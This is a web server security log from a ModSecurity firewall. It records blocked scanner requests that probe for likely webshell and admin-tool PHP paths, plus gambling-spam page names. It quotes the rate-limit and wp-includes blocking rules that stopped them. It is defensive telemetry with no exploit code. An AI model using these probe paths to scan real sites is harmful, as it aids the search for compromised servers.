[Wed Mar 04 09:41:37.390829 2026] [:error] [pid 18681:tid 18698] [client 52.252.56.196:49529] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.3.1-mysql-sk.php"] [unique_id "aaeN0aE_TuZYUBveWkXmwQAAAM8"]
[Wed Mar 04 09:41:39.412573 2026] [:error] [pid 18553:tid 18569] [client 52.252.56.196:52616] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.3.1-mysql-sk.php"] [unique_id "aaeN02bax1neh8d0AHax1QAAAAU"]
[Wed Mar 04 09:41:41.793771 2026] [:error] [pid 18555:tid 18641] [client 52.252.56.196:52029] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.3.1-mysql-sk.php"] [unique_id "aaeN1TQeUDANiOsQ3GenHgAAAJY"]
[Wed Mar 04 09:41:52.273639 2026] [:error] [pid 18554:tid 18602] [client 52.252.56.196:48132] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer-4.3.1-mysql-sk.php"] [unique_id "aaeN4J0fKmKeTIK7QS0zaAAAAEo"]
[Wed Mar 04 09:41:53.519234 2026] [:error] [pid 54487:tid 54490] [client 52.252.56.196:12868] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-apps.php"] [unique_id "aaeN4fN8030QMpFXddvHbAAAAQE"]
[Wed Mar 04 09:41:54.782798 2026] [:error] [pid 54487:tid 54502] [client 52.252.56.196:12519] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-apps.php"] [unique_id "aaeN4vN8030QMpFXddvHdAAAAQ0"]
[Wed Mar 04 09:41:56.198926 2026] [:error] [pid 18554:tid 18614] [client 52.252.56.196:43754] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-apps.php"] [unique_id "aaeN5J0fKmKeTIK7QS0zbwAAAFY"]
[Wed Mar 04 09:41:57.904438 2026] [:error] [pid 18554:tid 18616] [client 52.252.56.196:61831] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-apps.php"] [unique_id "aaeN5Z0fKmKeTIK7QS0zdAAAAFg"]
[Wed Mar 04 09:41:58.704372 2026] [:error] [pid 18554:tid 18607] [client 52.252.56.196:12907] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aaeN5p0fKmKeTIK7QS0zdQAAAE8"]
[Wed Mar 04 09:41:59.375514 2026] [:error] [pid 18681:tid 18693] [client 52.252.56.196:12486] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aaeN56E_TuZYUBveWkXm3gAAAMo"]
[Wed Mar 04 09:41:59.959562 2026] [:error] [pid 54487:tid 54495] [client 52.252.56.196:51347] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aaeN5_N8030QMpFXddvHgwAAAQY"]
[Wed Mar 04 09:42:00.628086 2026] [:error] [pid 54487:tid 54505] [client 52.252.56.196:12917] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asdf.php"] [unique_id "aaeN6PN8030QMpFXddvHhwAAARA"]
[Wed Mar 04 09:42:01.676565 2026] [:error] [pid 18554:tid 18598] [client 52.252.56.196:52633] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aaeN6Z0fKmKeTIK7QS0zfgAAAEY"]
[Wed Mar 04 09:42:02.256333 2026] [:error] [pid 18554:tid 18603] [client 52.252.56.196:63426] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aaeN6p0fKmKeTIK7QS0zgQAAAEs"]
[Wed Mar 04 09:42:03.221155 2026] [:error] [pid 18553:tid 18569] [client 52.252.56.196:12491] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aaeN62bax1neh8d0AHax4AAAAAU"]
[Wed Mar 04 09:42:04.106862 2026] [:error] [pid 54487:tid 54507] [client 52.252.56.196:43769] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pixelpages/application/views/auth/common/about.php7"] [unique_id "aaeN7PN8030QMpFXddvHlwAAARI"]
[Wed Mar 04 09:42:05.297288 2026] [:error] [pid 18554:tid 18614] [client 52.252.56.196:12537] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/aaa.php"] [unique_id "aaeN7Z0fKmKeTIK7QS0zhQAAAFY"]
[Wed Mar 04 09:42:07.915284 2026] [:error] [pid 54487:tid 54493] [client 52.252.56.196:12520] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaeN7_N8030QMpFXddvHzAAAAQQ"]
[Wed Mar 04 09:42:09.288776 2026] [:error] [pid 18554:tid 18603] [client 52.252.56.196:48255] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaeN8Z0fKmKeTIK7QS0zrQAAAEs"]
[Wed Mar 04 09:42:10.419363 2026] [:error] [pid 18554:tid 18611] [client 52.252.56.196:12916] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaeN8p0fKmKeTIK7QS0zrgAAAFM"]
[Wed Mar 04 09:42:11.602862 2026] [:error] [pid 18555:tid 18625] [client 52.252.56.196:63486] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/oQGWC1HLhE5.php"] [unique_id "aaeN8zQeUDANiOsQ3GenMgAAAIY"]
[Wed Mar 04 09:42:13.555952 2026] [:error] [pid 18681:tid 18706] [client 52.252.56.196:43774] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bar.php"] [unique_id "aaeN9aE_TuZYUBveWkXm6AAAANc"]
[Wed Mar 04 09:42:14.236148 2026] [:error] [pid 18553:tid 18576] [client 52.252.56.196:49525] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bar.php"] [unique_id "aaeN9mbax1neh8d0AHax6QAAAAw"]
[Wed Mar 04 09:42:14.797866 2026] [:error] [pid 18555:tid 18633] [client 52.252.56.196:48228] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bar.php"] [unique_id "aaeN9jQeUDANiOsQ3GenPQAAAI4"]
[Wed Mar 04 09:42:15.394786 2026] [:error] [pid 54487:tid 54499] [client 52.252.56.196:43658] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bar.php"] [unique_id "aaeN9_N8030QMpFXddvH4QAAAQo"]
[Wed Mar 04 09:42:16.092427 2026] [:error] [pid 18555:tid 18642] [client 52.252.56.196:60364] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "aaeN-DQeUDANiOsQ3GenPwAAAJc"]
[Wed Mar 04 09:42:17.691009 2026] [:error] [pid 18553:tid 18573] [client 52.252.56.196:12910] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "aaeN-Wbax1neh8d0AHax7AAAAAk"]
[Wed Mar 04 09:42:18.496202 2026] [:error] [pid 54487:tid 54511] [client 52.252.56.196:12513] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "aaeN-vN8030QMpFXddvH5AAAARY"]
[Wed Mar 04 09:42:19.040025 2026] [:error] [pid 54487:tid 54498] [client 52.252.56.196:61881] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "aaeN-_N8030QMpFXddvH5wAAAQk"]
[Wed Mar 04 09:42:19.764709 2026] [:error] [pid 18555:tid 18633] [client 52.252.56.196:48136] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/enviar-recibo.php"] [unique_id "aaeN-zQeUDANiOsQ3GenRAAAAI4"]
[Wed Mar 04 09:42:20.315857 2026] [:error] [pid 18681:tid 18698] [client 52.252.56.196:12936] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/enviar-recibo.php"] [unique_id "aaeN_KE_TuZYUBveWkXm8AAAAM8"]
[Wed Mar 04 09:42:20.898644 2026] [:error] [pid 54487:tid 54496] [client 52.252.56.196:48221] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/enviar-recibo.php"] [unique_id "aaeN_PN8030QMpFXddvH6gAAAQc"]
[Wed Mar 04 09:42:22.074893 2026] [:error] [pid 18554:tid 18605] [client 52.252.56.196:12488] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/enviar-recibo.php"] [unique_id "aaeN_p0fKmKeTIK7QS0z0QAAAE0"]
[Wed Mar 04 09:42:22.718535 2026] [:error] [pid 18555:tid 18639] [client 52.252.56.196:63480] [client 52.252.56.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "aaeN_jQeUDANiOsQ3GenRQAAAJQ"]
[Wed Mar 04 09:42:23.399337 2026] [:error] [pid 18555:tid 18627] [client 52.252.56.196:51990] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aaeN_zQeUDANiOsQ3GenSAAAAIg"]
[Wed Mar 04 09:42:24.172427 2026] [:error] [pid 18553:tid 18576] [client 52.252.56.196:43741] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aaeOAGbax1neh8d0AHax9gAAAAw"]
[Wed Mar 04 09:42:26.202552 2026] [:error] [pid 18554:tid 18606] [client 52.252.56.196:51987] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aaeOAp0fKmKeTIK7QS0z3AAAAE4"]
[Wed Mar 04 09:42:27.324454 2026] [:error] [pid 54487:tid 54496] [client 52.252.56.196:48142] [client 52.252.56.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/gallery/20160513-delelott/photo-gallery/thumb/admin.php"] [unique_id "aaeOA_N8030QMpFXddvH8AAAAQc"]
[Wed Mar 04 10:12:40.374964 2026] [:error] [pid 18554:tid 18616] [client 62.84.185.52:23638] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaeVGJ0fKmKeTIK7QS1IVgAAAFg"]
[Wed Mar 04 10:12:42.429646 2026] [:error] [pid 54487:tid 54497] [client 62.84.185.52:23642] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaeVGvN8030QMpFXddvppAAAAQg"]
[Wed Mar 04 10:12:44.551201 2026] [:error] [pid 18554:tid 18607] [client 62.84.185.52:23648] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaeVHJ0fKmKeTIK7QS1IZwAAAE8"]
[Wed Mar 04 10:12:46.706103 2026] [:error] [pid 18681:tid 18695] [client 62.84.185.52:23660] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaeVHqE_TuZYUBveWkXzKgAAAMw"]
[Wed Mar 04 10:12:48.694480 2026] [:error] [pid 18681:tid 18698] [client 62.84.185.52:36198] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaeVIKE_TuZYUBveWkXzLQAAAM8"]
[Wed Mar 04 10:12:50.791031 2026] [:error] [pid 18554:tid 18604] [client 62.84.185.52:36204] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaeVIp0fKmKeTIK7QS1IgAAAAEw"]
[Wed Mar 04 10:12:52.932611 2026] [:error] [pid 54487:tid 54495] [client 62.84.185.52:36210] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaeVJPN8030QMpFXddvpywAAAQY"]
[Wed Mar 04 10:12:55.105231 2026] [:error] [pid 18554:tid 18597] [client 62.84.185.52:36216] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaeVJ50fKmKeTIK7QS1IkwAAAEU"]
[Wed Mar 04 10:12:57.240725 2026] [:error] [pid 54487:tid 54491] [client 62.84.185.52:12792] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaeVKfN8030QMpFXddvp1wAAAQI"]
[Wed Mar 04 10:12:59.247769 2026] [:error] [pid 18554:tid 18610] [client 62.84.185.52:12800] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaeVK50fKmKeTIK7QS1IpgAAAFI"]
[Wed Mar 04 10:13:01.218515 2026] [:error] [pid 54487:tid 54506] [client 62.84.185.52:12810] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaeVLfN8030QMpFXddvp4AAAARE"]
[Wed Mar 04 10:13:03.325767 2026] [:error] [pid 18554:tid 18598] [client 62.84.185.52:12816] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaeVL50fKmKeTIK7QS1IsQAAAEY"]
[Wed Mar 04 10:13:05.341968 2026] [:error] [pid 54487:tid 54493] [client 62.84.185.52:12824] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaeVMfN8030QMpFXddvp8QAAAQQ"]
[Wed Mar 04 10:13:07.407713 2026] [:error] [pid 18553:tid 18579] [client 62.84.185.52:3872] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaeVM2bax1neh8d0AHa4AgAAAA8"]
[Wed Mar 04 10:13:09.496358 2026] [:error] [pid 18555:tid 18636] [client 62.84.185.52:3882] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaeVNTQeUDANiOsQ3GevVQAAAJE"]
[Wed Mar 04 10:13:11.655142 2026] [:error] [pid 18554:tid 18616] [client 62.84.185.52:3892] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaeVN50fKmKeTIK7QS1I1wAAAFg"]
[Wed Mar 04 10:13:13.766613 2026] [:error] [pid 18554:tid 18610] [client 62.84.185.52:3894] [client 62.84.185.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaeVOZ0fKmKeTIK7QS1I3gAAAFI"]
